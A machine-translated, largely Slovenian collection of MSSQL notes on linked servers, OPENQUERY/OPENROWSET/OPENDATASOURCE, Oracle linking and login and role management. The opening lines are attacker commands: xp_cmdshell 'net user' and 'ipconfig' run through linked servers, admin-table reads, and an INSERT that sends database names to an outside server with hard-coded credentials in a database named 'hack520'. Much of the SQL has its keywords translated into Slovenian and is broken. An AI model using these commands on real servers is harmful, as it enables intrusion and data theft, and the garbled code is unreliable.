select * from openquery(GM_SERVER,'select * from sysobjects where xtype = (''U'')')
Izberi * iz
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
Select * from openquery(toatdeweb,'select
srvname iz master.dbo.sysservers')
Vstavi v OpenDataSource
('sqloledb','server=222.241.95.12; uid=SCD; pwd=a123520; database=hack520').hack520.dbo.zhu select
ime iz master.dbo.sysdatabases Create database hack520 Create TABLE zhu(name nvarchar(256)
null); Ustvari TABELO J8(id int NULL, ime nvarchar(256) null);
Izberite * iz OpenQuery
(toatdeweb,'set fmtonly off executive master.dbo.xp_cmdshell ''net user'')
Izvršni mojster.. xp_dirtree
'c:\',1,1 Izvedite imenik poizvedb
Izvršne povezave. Mojster.. xp_cmdshell 'ipconfig'
Select * from openquery(toatdeweb,'set
fmtonly off executive master.dbo.xp_cmdshell ''ipconfig /all''')
Connect mysql Select * iz Mem_DB. UserDB.dbo.AdminList
IZVRŠNI MOJSTER... XP_dirtree 'c:\',1,1
Izvršni odbor
master.dbo.xp_cmdshell 'dir'
Izberi Count(*) iz [Indicate] Poizvedite, koliko podatkov je v trenutni tabeli
Select Distinct Hostname,db_name(dbid),net_address,loginame,program_name
Od mojstra.. Sysprocesi
Izberi * iz gamedb01. Server01.dbo.cabal_character_table kjer ime='
Prašič'
Ko ga izbrišete, piše: Baza podatkov se uporablja in je ni mogoče izbrisati.
Kliknite na bazo podatkov, ki jo želite izbrisati, da odprete Pregledovalnik dogodkov.
Vhod:
Uporaba
mojster Pojdi Nato vnesite naslednje: Declare @d varchar(8000) množica @d= ' ' izberi @d=@d+ ' ubij
'+cast(spid kot varchar)+char(13) Od mojstra.. Sysprocesses, kjer dbid=db_id('ime knjižnice') exec(@d) -- Uporabite kodo za brisanje procesa, ki se najprej poveže s to bazo podatkov
MSSQL upravlja Oracle preko LinkServerja
1) Namestitev Oracle na strežnik SQL_SERVER 2005
9i stranka. Predpostavimo, da namestimo v mapo C:\ora92i\. Če je D: NTFS particija, moraš nastaviti nameščeno mapo ORACLE kot tisto, ki jo uporabljaš
Naročniki imajo pravico do zagonavanja, dodajanja in brisanja.
2) Konfigurirajte datoteko C:\ora92i\network\ADMIN\tnsnames.ora. (Naslednje rdeče besedilo je primer konfiguracije)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) V DOS načinu zaženite naslednji ukaz, da potrdite, da je ORACLE odjemalec pravilno nameščen.
SQLPLUS uporabnik/password@ORCL
4) Odprite Start - Nadzorna plošča - Storitve in potrdite, da je storitev Porazdeljenega koordinatorja transakcij zagnana.
5) Open SQL SERVER Management Studio, ime instanci (ORCL) - strežniški objekt (desni klik) - strežnik za novo povezavo.
1.
Strežnik povezav: Zapišite ime povezanega strežnika, na primer OracleTest
2. Tip strežnika, izberite drug vir podatkov
3. Dostopni vmesnik: Select Oracle Provider for OLE DB
4. Ime izdelka: Write Oracle
5. Vir podatkov: Zapis
Ime storitve, konfigurirano v datoteki tnsnames.ora, na primer ORCL
6. Uporabniški niz dostopa: userid=sys kot sysdba; geslo=geslo
7. Na strani Izbira varnostnih možnosti uporabite ta namestitveni kontekst za vzpostavitev povezave:
a) Oddaljena prijava: uporabnik (drugi uporabnik, ne sistemski sistem)
b)
Uporabi geslo: geslo
8. Nastavite "NT AUTHORITY\SYSTEM" na lokalni prijavi, sistem oddaljenega uporabnika in nastavite geslo
9.
Si prepričan
6) Obstajata dva načina pisanja SQL
a) Uporaba T-SQL sintakse:
IZBERI * IZ
OraTest.ERP.BAS_ITEM_CLASS
Upoštevajte, da pri vnosu SQL stavkov v SQL Query Analyzerju bodite pozorni na kitajsko preklapljanje polne in polovične širine
Kako!
b) Uporaba PLSQL sintakse: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Metoda drugega dostopa je približno 50 % hitrejša od prve; Druga metoda dostopa je neposredno povezana
ORACLE je primerljiv; Metoda prvega dostopa lahko povzroči nekatere nepričakovane napake, kot so: Tabela ne obstaja, prav tako trenutni uporabnik ne obstaja
Do mize ni dostopa in tako naprej.
d) Če stolpec, do katerega je treba dostopati, uporablja podatkovne tipe brez natančnosti, oba ta
To je napaka v ORACLE, ki je ni mogoče popraviti, in se ji lahko izognemo le s posebnim pristopom k poizvedbenim izjavam:
Metapodatki, ki jih zagotavlja ponudnik OLE DB 'OraOLEDB.Oracle' za stolpce, so nedosledni. Metapodatki se spremenijo ob izvedbi.
MSSQL je dodal
Izbriši uporabnika in dodeli dovoljenja
Uporabi ime svoje knjižnice Pojdi --Dodaj uporabnike Izvršni sp_addlogin 'test' -- dodaj prijavo izvršni odbor
sp_grantdbaccess N'test' – kar pomeni, da je legitimni uporabnik trenutne baze podatkov izvršni sp_addrolemember N'db_owner',
N'test' - podeli vsa dovoljenja za lastno bazo podatkov --To ustvarja uporabnike, ki lahko dostopajo le do svoje baze podatkov in do vsebine, ki je v njej vključena
Javna miza za gostujoče uporabnike Pojdi --Odstrani testnega uporabnika izvršni sp_revokedbaccess N'test' -- Odstrani dostop do baze podatkov
Omejitev exeec sp_droplogin N'test' -- izbriši prijavo Če ga ustvarite v Enterprise Managerju, uporabite: Enterprise Manager - Varnost
Seks --Desni klik za prijavo--Nova prijava Splošni podatki --Vnesite uporabniško ime v ime
--Način avtentikacije je izbran glede na vaše potrebe (če uporabljate Windows avtentikacijo, morate najprej ustvariti novega uporabnika med uporabniki operacijskega sistema)
--V privzetih nastavitvah izberite ime baze podatkov, do katerega želite dostopati za novega uporabnika Postavka vloge strežnika Ne izbirajte ničesar v tem podatkovna zbirka
Dostopni element Preverite ime baze podatkov, do katere želite dostopati za uporabnika, ki ga ustvarite Dovoli v vlogi baze podatkov, označi "javno", "db_ownew" Seveda, tole
Uporabnik, ustvarjen z vzorcem, je enak uporabniku, ustvarjenemu z zgornjo izjavo
Zadnji korak je nastavitev specifičnih dostopnih dovoljenj za določene uporabnike, kar lahko navedemo kot naslednji minimalni primer:
--Dodaj uporabnike, ki imajo dostop le do določene tabele: izvršni sp_addlogin 'uporabniško ime', 'geslo', 'privzeto ime baze podatkov'
--dodaj v bazo podatkov izvršni sp_grantdbaccess 'uporabniško ime'
--Dodeli dovoljenja za celotno tabelo PODELI IZBIRO , VSTAVI , POSODOBI , IZBRIŠI NA TABELI1 NA [uporabniško ime] --Dodelite dovoljenja določenim stolpcem ODOBRI IZBIRO , POSODOBITEV NA TABELI1(ID,AA) NA [UPORABNIŠKO IME]
Za specifične varnostne nastavitve in teoretično znanje se obrnite na SQL Online Help
Opis vloge v fiksni bazi podatkov db_owner Imeti polna dovoljenja v bazi podatkov.
db_accessadmin Uporabniške ID-je lahko dodate ali odstranite.
db_securityadmin Lahko upravlja polna dovoljenja, lastništvo objektov, vloge in članstva v vlogah.
db_ddladmin lahko izdajo VSE DDL, vendar ne ODOBRI, PREKLIČI ali ZAVRNI.
db_backupoperator lahko izdajo izkaze DBCC, CHECKPOINT in BACKUP.
db_datareader Vse podatke lahko izberete iz katere koli uporabniške tabele v bazi podatkov.
db_datawriter Vse podatke lahko spremenite v katerikoli uporabniški tabeli v bazi podatkov.
db_denydatareader Iz nobene uporabniške tabele v bazi podatkov ne morete izbrati nobenih podatkov.
db_denydatawriter V nobeni uporabniški tabeli v bazi podatkov ne morete spreminjati.
Izberi db_datareader, db_datawriter, db_accessadmin
5. Ko je SQL Server instanca zagnana v enouporabniškem načinu, lahko Windows administratorski račun uporabi orodje sqlcmd za povezavo v načinu avtentikacije Windows
SQL Server。 Uporabite lahko T-SQL ukaze, kot je "sp_addsrvrolemember", da dodate obstoječo prijavo v vlogo strežnika sistemskega administratorja
Ali ustvarite nov prijavni račun. Primer izjave je naslednji:
IZVRŠNI sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
POJDI
Dodajte privilegij sistemskega administratorja
(1) Upravljanje strežniških vlog
V SQL Serverju obstajata dva glavna shranjena postopka, ki izvajata upravljanje vlog SQL Serverja:
sp_addsrvrolemember
in sp_dropsrvrolemember
sp_addsrvrolemember Lahko dodate prijavni račun k strežniški vlogi, da postane član te strežniške vloge. Sintaksa je naslednja: sp_addsrvrolemember
prijava, vloga
sp_dropsrvrolemember Lahko izbrišete prijavni račun iz strežniške vloge, in ko je član odstranjen iz strežniške vloge, te strežniške vloge nima več
Dovoljenja nastavljena. Sintaksa je naslednja: sp_dropsrvrolemember [@loginname=]'prijava,[@rolename=]'vloga'
v to
@loginname je ime prijavljenega uporabnika; @rolename je strežniška vloga.
(2) Upravljanje vlog v podatkovnih bazah
V SQL Serverju je podprto upravljanje podatkovnih baz
Obstaja šest glavnih vrst shranjenih postopkov, njihovi specifični pomeni in sintaksa pa so naslednji:
sp_addrole: Uporabljeno za ustvarjanje nove vloge v bazi podatkov; sp_addrole
vloga, lastnik
sp_droprole: Uporablja se za odstranitev vloge baze podatkov iz trenutne vloge v podatkovni bazi; sp_droprole vloga
sp_helprole:
Uporablja se za prikaz vseh informacij o vseh vlogah v bazi podatkov v trenutni bazi; sp_helprole ['vloga']
sp_addrolemember: Uporablja se za pošiljanje v bazo podatkov
Dodajte uporabnike baze podatkov v vlogo, ki so lahko uporabniško določene standardne vloge ali fiksne vloge v bazi podatkov, vendar ne morejo biti
Vloge za prijavo. sp_addrolemember vlogi, security_account
sp_droprolemember: Uporablja se za brisanje določenega lika
gospodinjstvo; sp_droprolemember vloga, security_account
sp_helprolemember: Uporablja se za prikaz vseh članov vloge v podatkovni bazi
。 sp_helprolemember ['vloga']
MSSQL LINKSERVER poizvedba
---------------------------------------------------------------------------------- -- Avtor:
htl258(Tony) -- Datum: 25. 6. 2010 22:23:18 -- Različica: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. julij 2008 14:43:34 -- Avtorske pravice (c) 1988-2008 Microsoft Corporation --
Razvijalska izdaja na Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Predmet: SQL podatkovne operacije med različnimi strežniškimi bazami podatkov ---------------------------------------------------------------------------------- --1. Ustvarite strežnik povezav --1.1 Ustvari ime povezave EXEEC sp_addlinkedserver 'LinkName','','', 'SQLOLEDB',' ime oddaljenega strežnika
ali IP naslov' -- Če imate lastno ime instance, dodajte "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Ustvari prijavo (ali ustvari zemljevid prijave na strežnik povezav) (samo izberi eno smer) --1.2.1 Prijava z Windows avtentikacijo EXEC sp_addlinkedsrvlogin 'LinkName' --ali EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Prijava s SQL avtentikacijo EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */ --2. Podatkovne operacije, povezane s strežnikom povezav --2.1 Primer poizvedbe SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
OD TonyLink.Mydb.dbo.tb */ -- 2.2 Primer uvoza SELECT * INTO table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
OD TonyLink.Mydb.dbo.tb */ -- 2.3 Primer posodobitve POSODOBITEV PovezavaIme.Baza podatkov Ime.Shema Ime.Tabela Ime SET polje ='vrednost' KJER polje = 'pogoj'
/*例如:UPDATE
tonyLink.Mydb.dbo.tb SET Persons='g' KJER Persons='a' */ -- 2.4 Izbriši primere DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WHERE Persons='g' */ --3 preko funkcije rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metoda
- 3.1 Metoda OPENQUERY (zahteva pomoč strežnika povezav, ki ste ga pravkar ustvarili): -- 3.1.1 Primer poizvedbe SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. ime mize')
/* Na primer: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Uvozni primeri --3.1.2.1 Uvoz vseh stolpcev INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. Ime mize
') IZBERI * IZ lokalne tabele
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
IZ TB */ --3.1.2.2 Uvoz določenih stolpcev INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. ime tabele') (stolpec, stolpec...) Stolpec SELECT,
Kolumna... IZ lokalne tabele
/* Na primer: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) IZBRATI
RAZPON, RAVEN, OSEBE OD TB */ --3.1.3 Primeri posodobitev POSODOBI OPENQUERY(Ime povezave, 'IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime tabele') polje SET = 'vrednost' KJER beseda
Segment = 'Stanje'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Osebe='a' */ --3.1.4 Izbriši primere DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Arhitekturno ime. ime tabele') KJER ime polja = 'stanje'
/*例
Na primer: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') KJER Persons='g' */ --3.2 Metoda OPENROWSET (ni treba uporabiti ustvarjenega imena povezave.) Če ime povezane instance ni privzeto, ga morate nastaviti v SQL Server ime ali IP naslov.
"\ime instance") --3.2.1 Primer poizvedbe --3.2.1.1 Poizvedba po metodi avtentikacije v Windows (ena od naslednjih metod je zadostna) SELECT * FROM OPENROWSET('SQLOLEDB', 'server=sql server name ali
IP naslov; Trusted_Connection=da', ime baze podatkov. Arhitekturno ime. Ime mize) SELECT * FROM OPENROWSET('SQLNCLI',
'server=ime SQL strežnika ali IP naslov; Trusted_Connection=da', ime baze podatkov. Arhitekturno ime. Ime mize) IZBERI * IZ
OPENROWSET('SQLOLEDB', 'server=sql ime strežnika ali IP naslov; Trusted_Connection=da','IZBERI * IZ baze podatkov
Ime. Arhitekturno ime. ime mize') SELECT * FROM OPENROWSET('SQLNCLI', 'server=ime sql strežnika ali IP naslov
Naslov; Trusted_Connection=da','IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime mize')
/* Na primer: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)
Ali: IZBERI * IZ OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)
Ali: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da','IZBERI *
IZ Mydb.dbo.tb')
Ali: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da','IZBERI *
IZ Mydb.dbo.tb') */ --3.2.1.2 Poizvedba po metodi SQL avtentikacije (Ena od naslednjih metod je zadostna) SELECT * FROM OPENROWSET
('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Arhitekturno ime. Ime mize) IZBERI * IZ
OPENROWSET('SQLNCLI', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Arhitekturno ime. Ime mize) SELECT * FROM OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password','SELECT *
FROM ime baze podatkov. Arhitekturno ime. ime mize') SELECT * FROM OPENROWSET('SQLNCLI', 'server=ime sql strežnika ali IP naslov; uid=
Uporabniško ime; pwd=password','SELECT * FROM ime baze podatkov. Arhitekturno ime. ime mize') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
ime strežnika'; 'uporabniško ime'; 'geslo', ime baze podatkov. Arhitekturno ime. Ime mize) SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME'
'; 'uporabniško ime'; 'geslo', ime baze podatkov. Arhitekturno ime. Ime mize) SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' uporabnik
ime'; 'Geslo', 'IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime mize') SELECT * FROM OPENROWSET('SQLNCLI', 'sql Server
ime'; 'uporabniško ime'; 'Geslo', 'IZBERI * IZ imena baze podatkov. Arhitekturno ime. ime mize')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ali: IZBERI * IZ OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ali: IZBERI * IZ OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
ali: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
ali: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
ali: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
ali: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
ali: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Primer uvoza --3.2.2.1 Uvoz vseh stolpcev INSERT OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov
Naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Arhitekturno ime. Ime mize) IZBERI * Iz lokalne tabele
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) IZBERI * IZ tb */ --3.2.2.2 Uvoz
Določite stolpce INSERT OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Rack
Ime konstrukta. Ime tabele) (stolpec, stolpec...) SELECT stolpec, stolpec... IZ lokalne tabele
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(RAZPON,NIVO,Osebe) IZBRATI
RAZPON, RAVEN, OSEBE OD TB */ --Opomba: Za bolj alternativne metode glejte primer poizvedbe .2.1, preprosto zamenjajte funkcijo OPENROWSET
Vsebina je zadostna. --3.2.3 Primer posodobitve UPDATE OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime
;p wd=password', ime baze podatkov. Arhitekturno ime. Ime mize) Polje SET = 'vrednost' KJER polje = 'stanje'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' KJER Osebe='a' */ --Opomba: Za bolj alternativne metode glejte primer poizvedbe .2.1, preprosto zamenjajte vsebino v OPENROWSET. --3.2.4 Izbriši oznako
Primer DELETE OPENROWSET('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password', ime baze podatkov. Ime sheme
.table name) KJER ime polja = 'pogoj'
/* Na primer: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) KJER
Persons='g' */ --Opomba: Za bolj alternativne metode glejte primer poizvedbe .2.1, preprosto zamenjajte vsebino v OPENROWSET. --3.3 OPENDATASOURCE metoda
(Ni vam treba uporabiti ustvarjenega imena povezave.) Če ime instance povezave ni privzeto, morate dodati \instance ime za SQL Server ali IP naslov
") --3.3.1 Primer poizvedbe --3.3.1.1 Poizvedba po metodi avtentikacije v Windows (Ena od naslednjih metod je zadostna) SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=ime SQL strežnika ali IP naslov; Trusted_Connection=da'). Ime baze podatkov. Arhitekturno ime. Ime mize IZBERI * IZ
OPENDATASOURCE ('SQLNCLI', 'server=ime sql strežnika ali IP naslov; Trusted_Connection=da'). Ime baze podatkov. Arhitekturno ime.
Ime mize
/* Na primer: SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb
Ali: IZBERI * IZ OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb */ --3.3.1.2 Poizvedba po metodi SQL avtentikacije (ena od naslednjih metod je zadostna) SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'server=ime sql strežnika ali
IP naslov; uid=uporabniško ime; pwd=password'). Ime baze podatkov. Arhitekturno ime. Ime mize SELECT * FROM OPENDATASOURCE ('SQLNCLI', 'server=ime sql strežnika ali IP naslov; uid=uporabnik
Ime; pwd=password'). Ime baze podatkov. Arhitekturno ime. Ime mize SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=ime sql strežnika ali IP naslov
Naslov; uid=uporabniško ime; pwd=password'). Ime baze podatkov. Arhitekturno ime. Ime mize SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=ime sql strežnika ali IP naslov
Naslov; uid=uporabniško ime; pwd=password'). Ime baze podatkov. Arhitekturno ime. Ime mize
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ali: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ali: IZBERITE * IZ OPENDATASOURCE ('SQLOLEDB','Data
Vir=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ali: IZBERITE * IZ OPENDATASOURCE ('SQLNCLI','Data
vir=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Uvoz vseh stolpcev VSTAVI OPENDATASOURCE ('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password').
Glede na ime knjižnice. Arhitekturno ime. Ime mize IZBERI * Iz lokalne tabele
/* Na primer: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb IZBRATI
* IZ TB */ --3.3.2.2 Uvoz določenih stolpcev VSTAVI OPENDATASOURCE ('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password').
Glede na ime knjižnice. Arhitekturno ime. Ime tabele (stolpec, stolpec...) SELECT stolpec, stolpec... IZ lokalne tabele
/* Na primer: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(RAZDALJA, NIVO, OSEBE) IZBERI RAZPON, STOPNJO, Osebe IZ TB */ --Opomba: Za bolj alternativne metode glejte primer poizvedbe .3.1, preprosto zamenjajte vsebino v funkciji vrstic (OPENDATASOURCE). --3.3.3 Primer posodobitve POSODOBI OPENDATASOURCE('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password'). Ime baze podatkov. Arhitekturno ime. Ime mize Polje SET = 'vrednost' KJER polje = 'stanje'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' KJER Osebe='a' */ --Opomba: Za bolj alternativne metode glejte primer poizvedbe .3.1, preprosto zamenjajte vsebino v funkciji vrstic (OPENDATASOURCE). --3.3.4 Primer brisanja DELETE OPENDATASOURCE('SQLOLEDB', 'server=ime sql strežnika ali IP naslov; uid=uporabniško ime; pwd=password'). Ime baze podatkov. Arhitekturno ime. Ime mize KJER ime polja = 'pogoj'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb KJER Persons='g' */ - Opomba: Več alternativ
Poglejte primer poizvedbe .3.1, preprosto zamenjajte vsebino v funkciji vrstic (OPENDATASOURCE). -- Izbriši metodo povezanega strežnika --Če v prihodnje ne uporabljate več informacij o povezavi, jih lahko izbrišete --4.1 Izbriši podatke za prijavo (ali izbriši zemljevid uporabniških imen povezanega strežnika) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Na primer: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Izbriši ime povezanega strežnika EXEC sp_dropserver 'LinkName', 'droplogins' – če so droplogini določeni, Zemljevid prijave je treba pred brisanjem povezanega strežnika izbrisati
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Priloženo
: Kako pridobiti ime izvajalca (EXEC master). xp_enum_oledb_providers) SELECT CAST([Ime ponudnika] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion IZ
OPENROWSET( 'SQLOLEDB', 'Strežnik=.; Trusted_Connection=da', 'ZAČNI FMTONLY; IZVRŠNI ODBOR
Mojster.. xp_enum_oledb_providers'
)
|